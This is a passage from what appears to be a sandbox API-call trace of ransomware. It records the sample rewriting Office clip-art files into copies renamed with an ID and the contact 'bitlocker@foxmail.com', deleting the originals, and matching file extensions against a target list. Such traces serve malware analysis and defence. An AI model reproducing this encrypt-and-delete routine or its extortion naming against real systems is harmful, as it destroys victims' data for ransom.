SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.280] SetEndOfFile (hFile=0x1cc) returned 1 [0199.281] CloseHandle (hObject=0x1cc) returned 1 [0199.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 1 [0199.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.282] lstrlenW (lpString=".doc") returned 4 [0199.282] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.282] lstrlenW (lpString=".docx") returned 5 [0199.282] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0199.282] lstrlenW (lpString=".pdf") returned 4 [0199.282] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.282] lstrlenW (lpString=".xls") returned 4 [0199.282] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.282] lstrlenW (lpString=".xlsx") returned 5 [0199.282] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0199.282] lstrlenW (lpString=".ppt") returned 4 [0199.282] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.282] lstrlenW (lpString=".zip") returned 4 [0199.282] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.282] lstrlenW (lpString=".rar") returned 4 [0199.282] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.282] lstrlenW (lpString=".bz2") returned 4 [0199.282] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.282] lstrlenW (lpString=".7z") returned 3 [0199.282] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.282] lstrlenW (lpString=".dbf") returned 4 [0199.282] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.282] lstrlenW (lpString=".1cd") returned 4 [0199.282] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.282] lstrlenW (lpString=".jpg") returned 4 [0199.283] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.283] lstrlenW (lpString=".doc") returned 4 [0199.283] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.283] lstrlenW (lpString=".docx") returned 5 [0199.283] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0199.283] lstrlenW (lpString=".pdf") returned 4 [0199.283] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.283] lstrlenW (lpString=".xls") returned 4 [0199.283] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.283] lstrlenW (lpString=".xlsx") returned 5 [0199.283] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0199.283] lstrlenW (lpString=".ppt") returned 4 [0199.283] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.283] lstrlenW (lpString=".zip") returned 4 [0199.283] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.283] lstrlenW (lpString=".rar") returned 4 [0199.283] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.283] lstrlenW (lpString=".bz2") returned 4 [0199.283] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.283] lstrlenW (lpString=".7z") returned 3 [0199.283] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.283] lstrlenW (lpString=".dbf") returned 4 [0199.283] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.283] lstrlenW (lpString=".1cd") returned 4 [0199.283] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0199.283] lstrlenW (lpString=".jpg") returned 4 [0199.283] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.284] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.284] lstrlenW (lpString="J0182689.JPG") returned 12 [0199.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.286] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=16615) returned 1 [0199.286] CloseHandle (hObject=0x1cc) returned 1 [0199.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 0x20 [0199.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.287] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.287] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.287] GetLastError () returned 0x0 [0199.287] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x40e7, lpOverlapped=0x0) returned 1 [0199.289] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x40f0, lpOverlapped=0x0) returned 1 [0199.290] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.290] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.291] SetEndOfFile (hFile=0x20c) returned 1 [0199.291] CloseHandle (hObject=0x20c) returned 1 [0199.291] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.291] SetEndOfFile (hFile=0x1cc) returned 1 [0199.291] CloseHandle (hObject=0x1cc) returned 1 [0199.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg")) returned 1 [0199.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.297] lstrlenW (lpString=".doc") returned 4 [0199.297] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.297] lstrlenW (lpString=".docx") returned 5 [0199.297] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0199.297] lstrlenW (lpString=".pdf") returned 4 [0199.297] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.297] lstrlenW (lpString=".xls") returned 4 [0199.297] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.297] lstrlenW (lpString=".xlsx") returned 5 [0199.297] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0199.297] lstrlenW (lpString=".ppt") returned 4 [0199.297] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.297] lstrlenW (lpString=".zip") returned 4 [0199.297] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.297] lstrlenW (lpString=".rar") returned 4 [0199.297] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.297] lstrlenW (lpString=".bz2") returned 4 [0199.297] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.297] lstrlenW (lpString=".7z") returned 3 [0199.297] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.298] lstrlenW (lpString=".dbf") returned 4 [0199.298] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.298] lstrlenW (lpString=".1cd") returned 4 [0199.298] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.298] lstrlenW (lpString=".jpg") returned 4 [0199.298] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.298] lstrlenW (lpString=".doc") returned 4 [0199.298] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.298] lstrlenW (lpString=".docx") returned 5 [0199.298] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0199.298] lstrlenW (lpString=".pdf") returned 4 [0199.298] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.298] lstrlenW (lpString=".xls") returned 4 [0199.298] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.298] lstrlenW (lpString=".xlsx") returned 5 [0199.298] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0199.298] lstrlenW (lpString=".ppt") returned 4 [0199.298] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.298] lstrlenW (lpString=".zip") returned 4 [0199.298] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.298] lstrlenW (lpString=".rar") returned 4 [0199.298] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.298] lstrlenW (lpString=".bz2") returned 4 [0199.298] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.298] lstrlenW (lpString=".7z") returned 3 [0199.298] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.299] lstrlenW (lpString=".dbf") returned 4 [0199.299] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.299] lstrlenW (lpString=".1cd") returned 4 [0199.299] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG") returned 63 [0199.299] lstrlenW (lpString=".jpg") returned 4 [0199.299] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.299] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.299] lstrlenW (lpString="J0182888.WMF") returned 12 [0199.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.299] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=24392) returned 1 [0199.300] CloseHandle (hObject=0x1cc) returned 1 [0199.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 0x20 [0199.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.300] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.300] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.300] GetLastError () returned 0x0 [0199.300] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x5f48, lpOverlapped=0x0) returned 1 [0199.302] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5f50, lpOverlapped=0x0) returned 1 [0199.303] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.303] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.304] SetEndOfFile (hFile=0x20c) returned 1 [0199.304] CloseHandle (hObject=0x20c) returned 1 [0199.304] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.304] SetEndOfFile (hFile=0x1cc) returned 1 [0199.305] CloseHandle (hObject=0x1cc) returned 1 [0199.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf")) returned 1 [0199.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.305] lstrlenW (lpString=".doc") returned 4 [0199.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString=".docx") returned 5 [0199.306] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.306] lstrlenW (lpString=".pdf") returned 4 [0199.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString=".xls") returned 4 [0199.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.306] lstrlenW (lpString=".xlsx") returned 5 [0199.306] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.306] lstrlenW (lpString=".ppt") returned 4 [0199.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.306] lstrlenW (lpString=".zip") returned 4 [0199.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.306] lstrlenW (lpString=".rar") returned 4 [0199.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString=".bz2") returned 4 [0199.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString=".7z") returned 3 [0199.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.306] lstrlenW (lpString=".dbf") returned 4 [0199.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.306] lstrlenW (lpString=".1cd") returned 4 [0199.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.306] lstrlenW (lpString=".jpg") returned 4 [0199.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.306] lstrlenW (lpString=".doc") returned 4 [0199.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.307] lstrlenW (lpString=".docx") returned 5 [0199.307] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.307] lstrlenW (lpString=".pdf") returned 4 [0199.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.307] lstrlenW (lpString=".xls") returned 4 [0199.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.307] lstrlenW (lpString=".xlsx") returned 5 [0199.307] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.307] lstrlenW (lpString=".ppt") returned 4 [0199.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.307] lstrlenW (lpString=".zip") returned 4 [0199.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.307] lstrlenW (lpString=".rar") returned 4 [0199.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.307] lstrlenW (lpString=".bz2") returned 4 [0199.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.307] lstrlenW (lpString=".7z") returned 3 [0199.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.307] lstrlenW (lpString=".dbf") returned 4 [0199.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.307] lstrlenW (lpString=".1cd") returned 4 [0199.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF") returned 63 [0199.307] lstrlenW (lpString=".jpg") returned 4 [0199.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.308] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.308] lstrlenW (lpString="J0182898.WMF") returned 12 [0199.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.308] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15150) returned 1 [0199.308] CloseHandle (hObject=0x1cc) returned 1 [0199.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 0x20 [0199.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.308] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.308] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.309] GetLastError () returned 0x0 [0199.309] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3b2e, lpOverlapped=0x0) returned 1 [0199.311] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0199.312] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.312] WriteFile (in: hFile=0x20c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.312] SetEndOfFile (hFile=0x20c) returned 1 [0199.312] CloseHandle (hObject=0x20c) returned 1 [0199.312] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.312] SetEndOfFile (hFile=0x1cc) returned 1 [0199.313] CloseHandle (hObject=0x1cc) returned 1 [0199.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 1 [0199.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0199.517] lstrlenW (lpString="C:\\Program 